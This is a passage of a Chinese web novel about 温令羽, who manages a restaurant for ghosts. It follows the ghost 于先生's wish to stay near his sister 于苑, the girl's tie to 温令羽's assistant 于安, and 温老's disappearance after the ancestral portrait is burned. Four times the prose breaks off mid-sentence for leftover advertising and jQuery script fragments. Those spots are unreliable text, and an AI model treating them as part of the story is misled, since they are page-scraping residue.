于先生点了点头，“我将名下的财产都转给了她，可她年幼，家里的亲戚一个个虎视眈眈，留给于苑的那些早就被瓜分干净了。” 温令羽一边惊讶于亲戚的绝情，同情于苑的遭遇，“那她现在在哪里？” “被一家好心人收养了。”于先生的回答模棱两可，显然是心存顾虑不想把事说全了。 温令羽并不强求，他十分有眼见地选择撤退，“你要不先在小馆住下来，分馆那边先不用操心，我先走了。” “等等，明天吧。给我一点时间，我带你去见于苑。”于先生事先开过这个口，做好了准备只是没做全，还需要给自己一点时间。 温令羽答应了，然后就去问门口的酒保，他时刻注意时间，晋叔也应该到了鬼小馆。 酒保指了指离大厅最近的包厢，是温令羽曾带人来过的包厢，“就你之前去过的，我怕有事要用特意留下了，现在阿辛他们全在里面。不过，晋叔的脸色不太好。” 温令羽走进去的动静不大，里头的都没有发现温令羽进来了，晋叔还在叭叭输出于先生的问题。 温老专注于他的泡茶，阿辛不知道该这么说，四处翻看想找点事，第一个发现温令羽也来了，还站在门口。 “阿羽，你来了？”阿辛跑到温令羽面前，知道其他人看不见表情，眼神示意这情况该怎么处理。 此话一出，温老和晋叔也是注意到了温令羽，温老还给温令羽空了个位置出来，“你刚刚和于先生聊得怎么样了？” “知道得差不多了。晋叔，我记得我和你说过，于先生并不想走。”温令羽后半句是对晋叔说的。 晋叔老脸一红，他也没想到于先生听说后是这么一个态度，他本就不喜欢当中被拉脸。 看如此的情形，温老主动站起来，把阿辛一起拉了出去，“那你们自己单独说一说，我们把空间让给你们。” 温老是相信温令羽能很好解决的。 温令羽走了过来，到温老的位置上，才发现温老泡的茶是特意给晋叔去火的。 在晋叔的口中，于先生并没有添油加醋，确实是晋叔一而再再而三地想说服于先生，实在是气急了于先生才从分馆赶过来，不然等晋叔走了于先生也就当没事发生。 晋叔也很无奈，“姓于的，不管我怎么问他就是不说理由，那我越挫越勇，把他气急了……” “于先生祈愿任务我已经提了两遍，在他第一次提出分馆要求的时候，阿辛就觉得奇怪，这是我问的第一次。之后的那回就是在分馆的时候。” “毫无意外，于先生都拒绝了，他在人世间还有未完成的心愿。” “鬼魂的意愿为上，选择下一个吧。” 晋叔回来之后肯定要继续交流所的工作，这段时间没有他，交流所的工作进展得很慢，迟迟选不出合适的，更需要晋叔的帮助。 “就姓于的这么个态度，求我我都不想帮他。”晋叔果断给自己一个台阶下。 温令羽问道：“那分馆你还要去吗？” “当然要去，我以后不会再提了。”晋叔可算是看透了于先生的态度，也要让温令羽放心。 温令羽从包厢里出来，温老站在侧边发呆，不知道他到底在想什么。 温令羽叫了声“温老”，心中顿时五味杂陈，温老的出现改变了他的人生轨迹，几乎是没法同其他人说的，天翻地覆的变化。 “你有什么想法？” “于先生说明天会带我见一个人，晋叔还在生气，不过是想明白了。” 温老安心地点点头，他等在这里还有其他事情，“我打算回温家县，交流所和鬼小馆就交给你了。” 事情发生得突然，温令羽不知所措，“现在老家没什么节日，你怎么突然要回去？” “老祖宗有老祖宗的打算，你一个小辈就别多管了。”温老并不打算说。 温令羽感到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 失落，温老这个长辈给他的温暖是久违的，他十分不舍，但接受分别是成长的必修课，“只是回老家吗？那还回来吗？” “准备去其他地方逛一逛，归期不定。”温老读出温令羽眼中的意思，他又安抚道：“电视剧上看过这么多地方，我也想去看看，打个卡。” 说完，温老抚了抚温令羽的头，尽管没有任何触感，依旧觉得温暖。 当晚，温老连家都没有回，直接就走了。 温令羽一个人在家，越想越不对劲，心有怀疑，给温父打去了电话，“老家出什么事了吗？” 这个大晚上，温父接到温令羽的电话还听他这么说，觉得莫名其妙的，他问道：“不就是你大叔父的那些事，还能有什么事？” “祠堂呢？”温令羽总觉得温老回去得蹊跷。 温父敷衍道：“祠堂好好的，没倒没塌，你三叔公还请人打扫过了。” 温令羽安下心来，记得明天要和于先生去见人，说道：“明天我有事，公司我请假。” 温父心里不满，但想着温令羽办成这么大的项目，帮温氏度过了危机，也就睁一只眼闭一只眼，“以后少请假，项目正是关键时候，不能随便掉以轻心。” 在临睡前又发了消息给于安，让她明天不用来家接他，他已经告假。 温令羽按照约定时间到了约定的地点，看上面的地址牌，温令羽都不敢相信自己的眼睛，面前正是自己的高中母校。 要是于先生说的是高中校名，温令羽早就知道了，但是他高中的具体门牌号，还真记不住。 于先生已经穿过门栏，和温令羽隔栏相望。 温令羽走到了保安室门口，保安拦住了他，“你有什么事？” 就在温令羽说不出话的时候，有个陌生人也到了校门口，他指了指里面对保安说道：“我来拿档案，我复读的。” 温令羽脑子一转，顺势也回答道：“我也是来拿档案的。” 今天来拿档案的人确实多，保安也没追问，把两人都放进去了。 “你哪个班的？我怎么没见过你？”复读生一般都会安排在一个班级里，而且相互之间也认识。 温令羽是知道自己高中班里有几个没考好的复读了，提到了他们的名字，“我和他们是朋友，你认识他们吗？” “原来你成绩这么好啊，我不认识他们，那几个我只在成绩榜上看到过。” 两人结伴到了行政楼，温令羽找了个由头分开了，他本来就不是来拿档案的，还得去和于先生会合。 于先生是看到全程的，惊讶这个高中管得这么严，还不能随便进出。 “你要带我去找谁？速度得快一点，要是被老师或者保安抓到的话，我会被赶出去的。”温令羽催促于先生。 于苑今年刚读高一，她上学晚了几年，好在成绩不错，凭自己成绩上了重点班。 巧就巧在这里，温令羽高一也是这个班的。 64.想要留下 温令羽一边走，内心在祈祷千万不要遇到他的班主任，否则今天这一趟他是绝对见不到于苑本人，凭他对班主任的了解，肯定是会送他到校门口。 不用怀疑，班主任就是这样操心的个性。 终于是到了班级门口，路上遇到好多学弟学妹好奇这位没有穿校服，不过学校里没有禁止父母进来，或许是哪位同学的家长过来。 突兀却不奇怪。 温令羽到了班级后门，正值早上的自习时间，不同于其他班级还在吵闹，重点班的氛围截然不同，把握每分每秒的时间放在学习上。 于先生指着靠门最后排的女生，这里还靠班级垃圾桶，自愿都不会选这里。 不利于学习还容易被打扰。 班级外走廊的声音，或是课间班级的动静，都会影响到，无论是爱学习的还是不爱学习的，全都对这里避而远之。 温令羽皱眉地看着于苑课桌上的习题，有些意外，抬头看黑板上写的昨日作业。 于苑分明是在补前一日的作业，而且她的速度很快，像是重新再把答案复制一遍，连题目都不用仔细看一遍，就能有把握写下一题。 于先生看于苑的背影，他缓缓说道：“小苑的身体不好，在福利院里也过得不好，能现在毫无负担的在这里，是万幸。” “你是想留在世界上陪伴她吗？”温令羽还是得告诉于先生后果，“哪怕代价是得一辈子留在这里。” 于先生反倒对留下来的生活很向往，“小苑小时候很思念我，因此我回来了。从我回来的那一刻，我就做好了不再离开的准备。” 能短时间内做到这样的程度，白手能做到在鬼小馆请客，人脉资金缺一不可，于先生尽管被强留在世界上，过得未必会很差。 温令羽心里理解，但是作为鬼小馆的负责人，有些话他非说不可。 “你的鬼生很长，可人的寿命短暂。而且下一辈子于苑就不再是你的妹妹了，你认识的人和鬼会慢慢地离开，全然陌生的环境你待不住再想离开，就没有机会了。” 于先生笑了笑，“我知道，但我不后悔。” 这时，下课铃响，教室里的人才发现站在教室后的人，温令羽不能久留，赶紧从另一侧楼梯下去，避免和认识的老师碰面。 老师没碰到，却碰上另一个刚认识的。 “你档案拿到了吗？我刚刚去办公室都没看到人，同办公室老师说他来管自习课了。”刚在校门口遇到的同学，他在行政楼等了半天，结果被告知老师不在。 温令羽压根不是来拿档案的，说道：“我其实是混进来的，我现在要走了。” 对方一下子反应过来，拦住了温令羽，“门口保安会查身份，怕学生会偷溜出去，你等我拿完档案一块走吧。” “多谢。”对方说的话没错，保安看他手空空的出来，是会问的说不定还会惊动他以前的老师，现下温令羽确实需要有人带他出去。 复读生的档案比其他人要晚一点拿，而管档案的老师还要上完第一节课才能回行政楼。 温令羽只好再等一会儿，而于先生得到了温令羽的保证放下了心，没想多留在这里就赶回了分馆。 等到拿回学生档案，再去校门口已经是一个小时后的事情了。 成功瞒过保安出来，温令羽松了口气，“我请你喝东西吧，谢你刚刚帮我出来。” “没事，我也让你等了这么久。”对方摆摆手，和温令羽相反方向走了。 温令羽家离学校近，今早是自己步行过来的，但无论回鬼小馆还是去温氏，都是不短的一段路，想了想还是给于安打了个电话。 打了一个没人接，温令羽觉得可能是有事，过了十分钟又打了一个，依旧没人接。 温令羽刚准备打办公室电话，突然发现学校门口停的车不正是自己的吗？ 再三确认过车牌号，是温父给他买的无疑，而此刻端端正正停在校门口，不正说明于安就在校园内。 温令羽干脆自己上车待着，好在车可以手机遥控。 副驾驶座位上，于安的手机就放在上面，如此谨慎小心的于安总助，居然能把手机落在车上。 温令羽这么想着，非常好奇是什么事情能让于安着急。 过了半个小时，于安独自一个人从校内出来，她面色铁青，是生了场大气。 结合于安身后的学校，温令羽摇下车窗，明知故问：“于助理，你怎么会在这里？” 被老板抓包。 于安脑子里紧绷的那根弦突然断了，她呆愣愣地站在原地看温令羽，九月初的天依旧是热的。 温令羽没想吓于安，结果确实把对方吓坏了，她这副样子温令羽是不敢给她开车，“先上车了，回公司再说。” “听你说家里有个妹妹，是妹妹在学校里表现得不好了？”温令羽旁敲侧击打听。 换成以往的于安倒是能很快反应，可现在她翘班来学校被直属上司抓包，心里正心慌得不行，没有清醒的头脑来想其他事，只能如实回答为了让温令羽不惩罚。 “老师打电话来说我妹妹不认真写作业，要在第二天早自习抄作业，还不认错就把我叫过来了。”于安说到妹妹这件事依旧在气头上，“我不指望她成绩很好门门拿第一，知错能改诚实更重要。” 温令羽问道：“你妹妹叫什么名字？我高中也是在这里读的，问问老师多多关照她。” “于苑，关照就不用了，我妹她在学校过得高兴就行。”于安推辞道，同时她也听出来温令羽没有追究她工作时间出来的事情，松了一口气。 不过，于安没有注意到，当“于苑”两个字说出口的时候，温令羽那大变的眼神，甚至是不顾正在开车都要去看于安脸上的表情。 确认过于安不是在开玩笑。 温令羽心里掀起了千层浪，但表面不露声色，将于安送回到公司，自己则是开车去鬼小馆。 晋叔还在档案室里找，阿辛在交流所看店。 温令羽把今天和于先生 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 讲的事情和阿辛复述了一遍，阿辛倒是能理解于先生的做法。 “要是你早几年遇到我，我也不想走，想陪在我爸爸妈妈旁边。”阿辛刚回来时，对于父母很是眷恋，要是在此时有个人出现要把两者分开，阿辛也是不干的。 但是阿辛成长了很多，他接着说道：“或许过几年于先生就会改变想法，再多等一等吧。” “而且于先生当鬼的人脉财力不容小觑，生活过给自己看的……”阿辛说着，突然想到了另一件事情，“分馆的事情，不会也是他为了更好留下？” 温令羽十分意外阿辛能想到这一茬，“可能。” 阿辛佩服于先生到哪都能拼一把，鬼龄还没他大，事业已经多拼了好几倍。 阿辛在头脑风暴，温令羽便自己一个人在小馆内转了一圈，停留在温老常去的影映室，此刻里面都是不认识的面孔。 温老昨天已经离开了这里，回温家县，甚至说要去四处流浪，归期不定。 温令羽对于苑有千种猜测，需要温老给他解个惑，偏偏在这个关键时候，不在了。 “老先生回去了，我们可以过年回去？”跟出来的阿辛读出了温令羽眼中的哀伤，安慰道。 温令羽假装生气，吼道：“明明交流所和鬼小馆有这么多事，他说走就走，一点不把我们放在心上。” 阿辛以为温老就是回去休息一段时间，就像上次一样，“老先生就回老家休个假，他又没什么认识的鬼，早晚会要回来的。” 温令羽没有这么乐观，“你知道老先生为何会出现在这里吗？你不是最早认识他的吗？” 这个问题温令羽想过几次，不过每一次都被温老用借口搪塞回来，本身他的事情就多，温老不愿意说他就没再深究。 阿辛摇了摇头，他不舍得温老就这么悄无声息地独自走了，“不会是自己一个人去找当事人了？他要不告而别。” 温令羽也被说得慌起来，“不行。我要回老家一趟。” 话落，温令羽陷入了沉默，现如今温氏和学校两头跑，恨不得把自己分两半，哪还空的出时间赶回这么远的老家。 阿辛也知道温令羽的难处，自告奋勇说道：“我去。现在交流所里有晋叔管事，我帮不上什么忙，而且除了你就我知道回去的路了。” “这一次我绝对知道坐高铁，不会再走路回去花费一个月时间。”阿辛故意提起上一次的糗事，想让温令羽安下心来。 温令羽点了点头，这个时候只有阿辛能去一趟，但又怕阿辛被温老策反，必须要未雨绸缪。 “你见到了温老，不要管他说什么，只要谨记一件事情——把老先生带回来。” “实在劝不回来就来找我，一定要先回来找我，我在这里等你的消息，回来我们能一起商量。” 温令羽又将回去的路线计划好，“你就按我说的班次上，实在不行你大胆子问问其他在车站的鬼魂回来的路。” 去的这段温令羽会送，只有回来这趟难。 65.付出回应 温令羽送阿辛上车之后，接着把鬼小馆的工作后续安排好，晋叔和酒保两个能把这里经营好，对此温令羽十分有信心。 “那你之后是不过来了吗？”晋叔也是第一次揽这么大的活，内心还是慌乱为上。 温令羽这次是迫不得已，温氏的项目还在手上，空不出其他时间，而且他也没有精力每天过来一趟，没有阿辛和温老在，还真顾不上两头的活。 酒保看出来温令羽的窘迫，他出了一个两全其美的办法，“既然老先生和阿辛都不在，我可以每天找老板汇报工作。” 此话一出，温令羽当场就否决，来回跑一趟太浪费更何况鬼小馆大部分的经营全靠酒保，片刻离不开。 “你们别想其他的了，我相信你们，暂时将权利分出去，每隔一段时间我会来不定时抽查。”温令羽做好了决定就不想再改。 对于合作伙伴，信任是排在前面的。 在处理完这些事情后，温令羽就回到温氏集团了，打完上班卡，温令羽没去自己的项目部，去了另一个楼层的人事部。 人事部领导认识温令羽，见到他过来，立马从位置上站了起来。 “小温总。” 温令羽是过来调于安档案的，温父没给他开通太多权限，导致他只能亲自到人事档案这里来。 人事部领导一听不干自己的事，就让部门员工给温令羽查询，“纸质的员工档案是由其他人负责，我现在把人叫过来。” 没过几分钟就找到了于苑的员工档案，温令羽懒得来回跑，当即就翻开找家属那一栏。 父母一栏是空的，妹妹确实是于苑无疑。 “于安家里只有妹妹了吗？你有仔细问过吗？”此时只有他们两人，温令羽不拐弯抹角直接问了。 办理接手的人确实是自己，员工翻了翻，脑中不断回想当时的记忆，“当时是问过，于安助理是说家里只有妹妹一人，两姐妹从小相依为命。” 时间过得长，能记住这么多属实不容易，温令羽把档案放了回去就准备回办公室工作。 刚过电梯拐角，就直冲冲撞来一个人，温令羽一个踉跄差点跌倒，不过他反应很快站住了。 “于安助理？你着急忙慌的是要去干什么？”温令羽看清面前的于安，决定先下手为强。 不知道是不是这些天的相处让于安摸透了温令羽的性格，竟然直接问：“温总，听说你去调查我的档案了？是我最近的工作出现问题了吗？” 温令羽摇了摇头，说道：“我总得知道我爸派给我的人是什么样的。就为了这么点事情就放下工作过来？” 于安自知理亏，赶紧回到自己的工位上完成工作，直到下班都没站到温令羽面前过。 项目进展得十分顺利，温父对此乐见其成，庆幸自己当初的远见，让温令羽进入了公司不然凭借他们是根本无法在众多竞争者中脱颖而出。 有了这一层的关系在，温父几乎场场应酬都会把温令羽带去，把他正式介绍进他们的圈子里。 这天周末，温令羽留了一点工作到今天处理，温父今天也是出差刚回来，家都没回直接来了公司。 温父知道了温令羽也在公司，打内线电话，直接让他上来吃午饭。 “小昕她来了，好不容易周末没课你带她出去玩一玩。”温父果断把温昕交给温令羽，他下午还有工作不想被打扰。 温令羽下午有课，是有一次老师有事情没来，班里的人一合计就把补课时间调到了下午。 “我下午有补课，没时间带小昕。”温令羽说道。 温父可不会这么放弃，又问道：“什么时候的课？等你上课再送上来。” “下午两点，结束要四点了。”时间太不凑巧，四点钟温父肯定处理完工作回去了，大周末当老板也不想要加班，四点之后再过一个小时都可以下班了。 吃完午饭后，温昕跟助理在会议室写作业，温令羽打了个电话叫于安过来接。 温令羽凭习惯打开后车门，于苑坐在后面，温令羽看着近在咫尺的人，不由得后退了几步。 于安连忙说道：“小温总，我妹妹今天生病我去接她了，要不您坐前面？” 温令羽点了点头，打开了副驾驶的门。 车子缓缓发动，温令羽问：“生什么病？严重吗？” “遗传病，平时靠药维持，今天是例行检查的日子。”于安还开着温令羽的车，自然是他问什么就答什么。 这么多的巧合，温令羽觉得他再不多心一下，真的愧对摆在他面前的线索。 温令羽回过了头看着于苑，“你有哥哥吗？” 于苑心生疑惑，不知道温令羽为何问这样的问题，先看了一眼开车的于安，见她没有反对，才说道：“我只有姐姐，没有哥哥。” 温令羽还想再继续问点于先生的情况，手机消息来了。 “小温总，你上次要查的于安档案我记起来了。她和她的妹妹是福利院里的，她们之间没有血缘关系。”是上次让他来查资料的人事部员工，回去走访了好几天才来和温令羽汇报消息。 温令羽回复道：“于安妹妹原先家里有几口人？能不能查到？” “可以。我晚些时候发给你。”对方接话得很快，立马就应下了这个活。 于安把温令羽送到了学校门口，温令羽手刚覆上把手，突然想到了说道：“既然要去医院的话，你就不用来接我了，早点回去休息吧。” “好的，小温总。”于安笑着目送温令羽。 近期发生的事情一件一件在温令羽脑中闪过，温老的突然离开、于先生和于安于苑的关系、止步不前的交流所任务。 温令羽脑子里很乱，连老师点名喊道都没听见，还是宋时盛反应过来提醒了温令羽，才没让他记旷课，这节课可不能白来。 “你在想什么这么入神？连老师点名都没听到。”宋时盛一双好奇的眸子一眨不眨盯着看。 温令羽眼下最迷茫的事，就是他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身为鬼小馆的老板该何去何从，问道：“要是你遇到一件完成不了的事情，你会怎么办？” 宋时盛疑惑地看过来，不过他并不纠结去想明白，“就像现在，我很好奇你为什么会问出这种问题？但我知道这个问题没有标准答案。与其纠结不如算了。” “要是这个答案对我很重要呢？”温令羽无法轻易说算了，前路不能糊里糊涂地走。 宋时盛想了想，认真地回答：“那就拼了，哪怕失败了也能够少一点心理压力。” “说了不如白说，心灵鸡汤有点腻了。”道理都懂，不过等到事实摆在眼前依旧还是原样。 不过，温令羽确实少了一点压力，与其让晋叔一个一个档案翻过去，不如就按墙上名单上写的，不能还没干就说完成不了。 交流所已经罢工好长时间，需要开工。 课程结束后，温令羽拒绝了宋时盛的吃饭邀请，准备去和晋叔商量一下。 温令羽到的时候，晋叔还在档案室里翻阅资料，温令羽没让其他鬼魂去叫，自己上楼去找。 档案室温令羽来过一次，那回的档案室乱得不行，特别是在温令羽走后更是没整理过。 现在一进来，完全大变样。 杂乱的档案资料已经全被晋叔整理完了，甚至还专门做了分类，至于摆在外面比较干净整洁的，晋叔也重新换了摆放方式并做了记录。 只能说不愧是在这里待过的“鬼才”。 温令羽跟晋叔说了自己的打算，“不找了，就像我们刚开始登记的那样，能完成就完成一样……” 晋叔的进度值没有前进，温令羽以为晋叔会同意，毕竟这是没有办法中的办法。 结果，晋叔连话都没听完，一口就拒绝了。 “不行。这样子任务效率又慢，而且……。反正不行。”晋叔说不出其他理由，但是就是不同意。 温令羽无奈地说道：“可现在我们不可能什么都不做？鬼魂不能择优，没有谁比谁先，谁比谁更值得？” 此话一出，晋叔就听出来温令羽是误会了他的用意。 晋叔选择一个个去挑选，找出更快更好，能在温令羽的帮助下，完成他的祈愿任务。 并不是只一心在意效率，而是有另一番打算。 晋叔真实的感情从不轻易外露，这一次他却是不想再瞒了，深深叹了一口气，“阿羽，你也有自己的生活的。” “什么？”温令羽不敢置信，“你……” 晋叔点了点头，他下一句没给温令羽留面子，实话实说：“你现在实力差劲，比起上一任领导你确实差太多了，但你们的心一样。要是你每一件祈愿任务都去，那你的时间你的生活呢？我不可能不考虑这些。” 温令羽意识到自己误会了，张了张嘴想说，发不出一点儿声音，实在是太惊讶了。 在为他们考虑的同时，他们同样在考虑着自己。 这一次的付出不再是单向，有回应，哪怕声音很轻。 66.决心离开 隔天的工作日，温令羽还记得前一天于安要陪于苑体检，就没有让于安来接，想着从自己家里赶过去有直达的地铁，应该能及时赶到。 结果，温令羽没挤上那趟，甚至错过了好几班，等到了公司打完卡已经迟到了半个小时。 好在他的考勤不影响收入，不然公司的全勤奖可是一笔不小的收入。 但是温令羽的迟到记录还是会发给温父看，然后由温父定夺决定，这也是为了公平起见。 温令羽还没有到办公室，就接到了温父打来的电话，“你今天没有课为什么会迟到？” “昨天睡晚了今早没起来。”温令羽把于安摘出去，要是实话实说于安的后果比他还惨。 温令羽对温父的了解不够深刻，温父没理会这个，“你助理呢？她没有叫醒你吗？” 拐着弯还能怪上，温令羽看着前面办公室门，是个挂电话的好时机，他十分敷衍地回复温父：“我已经到办公室了，下次不会迟到。” 说完，温令羽也没顾温父让不让，直接就给挂了，发现温父没打回来，悬着的心放了下来。 “小温总。”办公室里，于安站在那。 温令羽绕过她坐到了自己的位置上，见于安还没有走的意思，问道：“你还有事？” 此刻，于安手里什么都没拿，没有文件需要温令羽签署，实在是想不到还有什么事。 于安深吸了一口气，像是抱着“必死”的态度，“小温总，你前天在车上问我妹的问题，你是知道什么吗？” 突然来问于先生的事。 温令羽不得不重视起来，他看向于安的眼神有打量，“是你来问的，还是你妹让你来问的。” 于安丝毫不躲避温令羽的视线，很认真地问道：“是我们要问的，于苑她已经不记得有一个哥哥了。” 这话是温令羽没有想到的，什么叫不记得有一个哥哥。 于先生当时有说过，于苑被送进福利院时已经记事了，不应该会有这样的情况发生。 于安也看出温令羽眼里的困惑，主动解释道：“于苑小时候生过病，恢复过来之后就不记得以前的事，但当时也觉得没关系。小孩子忘性大是正常的。” 总算是把想知道的都知道了。 温令羽没有了顾虑，说道：“她哥哥已经去世了，但有留东西给于苑。” 说到于先生去世的消息，于安并不意外，温令羽看出来了：“你知道？” 于安都有些怀疑自己的记忆了，她语气很迟疑。 “于苑就是因为她哥哥去世了才来福利院的？小温总你不知道吗？”于安开始怀疑自己为什么要过来。 温令羽问道：“那你还想问我什么？” “他的名字，我只是知道于苑的哥哥去世了，可是不知道她的哥哥是谁？要是她还有其他亲人的话……” 其他亲人不见得会对于苑好，不过看于安这么坚持，温令羽也就是随他。 温令羽在自己的电脑上将有关于先生的报纸新闻调出来，把电脑显示屏转了过去，温令羽的办公室里没有第二把椅子，于安就一直蹲着身体在看。 看得非常入神。 温令羽看不下去，又不能把自己的椅子让给她，想了想：“你回去自己查吧。” 于安也赞同温令羽，通过温令羽的账号发送到自己的通讯上，不在办公室久待容易传出闲话，“小温总，那我先去忙了。” 这些新闻给于安指明了方向，凭她自己的人脉圈子查到一些更细的资料，查到了于家的亲戚继承了于先生的财产去了国外发展。 但是本身就没有经商能力，哪怕拿到这么多的财产依旧不能做大做强。 渐渐在国外销声匿迹了，但有人听说于家又重新回国了，于安刚打听到这些就无法在办公室坐下去，当即和温令羽请求把她没修的年假修了。 这么个理由，温令羽不能不放人。 一切合情合理合法，不过就是不合温父的心意。 温父的助理特意亲自下来把温令羽请上去，“小温总，温总要您上去？” 如此兴师动众，是有多担心温令羽不听话，可见上去准没好事，温令羽当即就想开溜。 “我这里还有项目没处理，下班前我自己会过去的。” “温总让您立马上去，所以不要再找借口了。” 温令羽知道了这遭逃不过去，伸头一刀缩头也是一刀，索性一鼓作气站了起来。 “走吧。”温令羽走在了前面，发现温父助理没跟上，提醒。 这么干脆就能走，原本觉得要花一番功夫，这时候竟然没派上用场。 温令羽刚到温父办公室门口，助理快步上前拦住了他进去，“我先去见温总。” 温令羽没有意见，表示自己会在门口等。 温父是要给温令羽一个教训，助理一进去就没有再出来，温令羽还能等得住边看手表边等。 指针走了半圈，意味着等了半个小时。 温令羽转身就走，总裁办的其他助理拦住了他，“温总没有让您离开，您还需要在这里等。” 好样的，果然是下马威。 温令羽重新站回了办公室门口。 又过了半个小时，助理总算出来让温令羽进去。 刚进去，大叠资料朝温令羽扔了过来，好在他以前练过，一个侧身就躲开了。 温父被这操作气疯了，“我给你安排的助理，这么短的时间就被你放去休年假了？！” “年假是规定，我还能拦不可？”温令羽狡辩。 于安能这么快做到总裁助理的位置，全靠自己的能力和她放弃的假期，无论随时都能到位，像是一台完美的工作机器，因此得到了温父的器重。 结果，短短这么些天，于安也学会珍惜假期了。 温令羽心没有温父这么狠，资本家的嘴脸一览无余，甚至说出员工自愿加班的事情是理所应当的。 “我再派一个人去帮你。”于安走了，温令羽那里不能缺了人。 温令羽哪能不知道温父心里的小九九，与其说找帮手，不如说是找个自己人监视自己。 既然这样能让温父少点 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 话，多个人也没有什么问题。 结果温父那边人选还没敲定，于安就提前休完年假回来了。 温令羽原本还没有这么想念于助理，经温父一遭生气，才发现于安是真的香饽饽。 看到于安，温令羽第一个鼓掌欢迎她回归项目组：“于安回来了，让我们欢迎她。” 于安笑着给项目组所有人带了礼物，同时也感谢大家的欢迎。 “小温总，这是我给你带的茶叶。” 好吧，显然就是借温令羽的手，给温父的。 温父是出了名得真心爱茶，几乎圈子里要给温父送礼，大部分选择茶叶。 温令羽有些无奈，于安现在是一点都不装了，“我还是你上司，你就要跳过我送给大老板了。” “我听说我请假那一次温总找你了。其次，我想回原来的职位。”于安语气认真，如今项目顺利进行她回归岗位，对她的事业更有帮助。 温令羽没想到一回来的于安这么想离开，问道：“为什么？” “小温总应该知道我是温总的人，除了工作以外就是负责监督你。而现在我需要一份更好的工作。”于安非常急切需要更进一步。 温令羽还想问得更加清楚，于安看出来了，先行一步制止了温令羽。 “小温总，可以不问了吗？”于安担心温令羽不放人，“温总之后派下来的人都不怎么样，可以放心。” 都这么说了，温令羽也不是会想强留的人。 但温令羽不是白白要给别人递青云梯的，说道：“你清楚这么说了以后，项目组再也留不下你了。回去就靠你自己吧。” 于安明白，转身离开了温令羽的办公室。 因为这一个插曲，温令羽感觉把这一天的精力都耗了个光，回到家后疲惫到不行，没注意到门口站的鬼魂。 经过于先生身边时还被声音吓了一跳，“温先生。” 温令羽已经习惯了周围人鬼混杂的景象，为了不突兀特别注意，不主动开口。 “于先生怎么来了？”温令羽把于先生请进了自己家。 分馆的轮换制到了一月之期，于先生是来汇报分馆近况成果的。 “不好意思，最近我太忙忘记了”，温令羽抱歉地说道，“我现在把鬼小馆的工作交给晋叔管了，要是一切顺利的话就直接和晋叔说一声。” “分馆经营模式和鬼小馆一样，出不了大错。每个月我就和他说一声，但他也是轮换制里面，会不会不公平？” “他同你们一样，他的负责月我会监督。依旧觉得不放心的话，其他月也可以找我。” 温令羽不想把规矩定得那么死。 而且分馆早晚有一天是要放手自主经营的。 于先生除此之外，还有其他的事，“你最近有见过小苑吗？” “你见过收养于苑的那家人吗？”温令羽不答反问。 出乎意料的是，于先生摇了摇头，“知道小苑即将被人收养有了新的亲人，我这个哥哥无比恨自己，发誓要留在这个世界上永世不得超生，为自己赎罪。” 67.烧毁的画 “所以你就没去见过于苑吗？”温令羽突然想到了在班级门口的眼神，应该是念了好久终于见到的样子，“前段时间你也是第一次去，是吗？” 于先生点点头，尽管他知道于苑在这里，但怕自己控制不住，相见不如怀念。 “但我找朋友看着她，要是她出什么事会来告诉我的。”于先生做不到放任不管的，为了让自己安心拜托了朋友帮忙。 听到于先生的坦白，温令羽也就不再隐瞒，主动告诉了于苑的近况。 得知了于苑病情稳定，于先生也就能放下心，他之前听朋友说在医院看到于苑，他着急得要命。 温令羽把于先生送到了小区楼下，看着他不断飘远的身影，总觉得于先生隐瞒了什么事什么事，苦于没有证据也就没法说。 从头至尾，于先生的祈愿任务没人知道具体的，他自己不说，其他人也只能知道个大概。。 唯一可以确定的，于苑是关键人物。 不过人家本人都没有意向，知道与否并不重要。 日子平平淡淡过了一周，阿辛面色凝重挡在学校门口，门口只站着阿辛自己，没有温老的踪影。 温令羽猜测地说道：“老先生不愿意一起回来吗？” “不是的，老先生他失踪了，而且原本挂在祠堂的画像消失了，听辉辉说被一大群人闯进来烧毁。”阿辛越说心里的预感就越是糟糕，一听到消息就马不停蹄回来，根本没法细想。 温令羽登时睁大眼睛，祠堂都被别人围攻了，简直是难以置信。 阿辛找遍了整个地方没看到，沿途问过了都说没见到，非常着急温老的去向，“老先生不会离开了吧？就像跟着画像走的。” “我需要自己回去看看，阿辛你先回去休息吧。”温令羽知道阿辛来回赶路辛苦，先让他回去休整一下。 阿辛确是半步不想离开，他要跟着温令羽一起。 温令羽好说歹说才把阿辛劝回家，自己则是开车去了温家，长期请假是要和老板说一声，而且要是祠堂真发生阿辛说的这种恶劣事件，温父肯定知道些什么。 去温家这件事是必须的。 将自己的车停在地下车库，输密码乘坐电梯上楼。 温父对温令羽的突然到来十分意外，温令羽是无事不上门，能让他这么主动，想必是大事情。 “怎么了？这么晚出什么事了？”温父懒得等温令羽墨迹，催促道。 温令羽问道：“为什么祠堂里老祖宗的像没有了？” 温父确实是了解这个事情，但又不知道该怎么和温令羽去解释，他本人都不太认可三叔公所作所为，可惜他无能为力。 “前些天我和你说过祠堂在改造。现在温家由你三叔公在管，他决定的事情谁说都没用。”温父先给温令羽打了一剂预防针，为了之后的话可以顺利进行下去。 温父紧接着又说道：“三叔公无意中淘到了一本古籍，里面记载了温家的历史。上面写了温老祖宗温正业虐待子孙，差点使温家绝后的传闻。” 对于那个时代的人来说，是可以被驱逐出家族。 温令羽记忆中的温老总是乐呵呵的，要是遇到些什么疑难，温老也总能解决好。 一点都不像会刁难小辈的样子。 温令羽满脸不信，温父感觉他的威严被挑衅，说道：“你还不信我？那你就走吧，我还懒和你说。” “没有。三叔公肯定会对家里人有一个交待，给我看看。”温令羽可不能把温父惹怒了，但是他确实想看看这话的依据。 温父心里虽然疑惑，但无非就是几条聊天记录，看就看了。 “我电脑上有记录，你自己看吧。”温父还有其他文件要看，就把电脑那一块的位置让给了温令羽。 家族群都有分开建立的，温父所在的那一个，温令羽都没有资格能进去。 里面聊得内容还挺多，温令羽正在认真翻，辨认古籍上面的内容，三叔公还另外附带了专家的解释，非常通俗易懂。 温令羽看得入神，没注意到书房门被打开的动静。 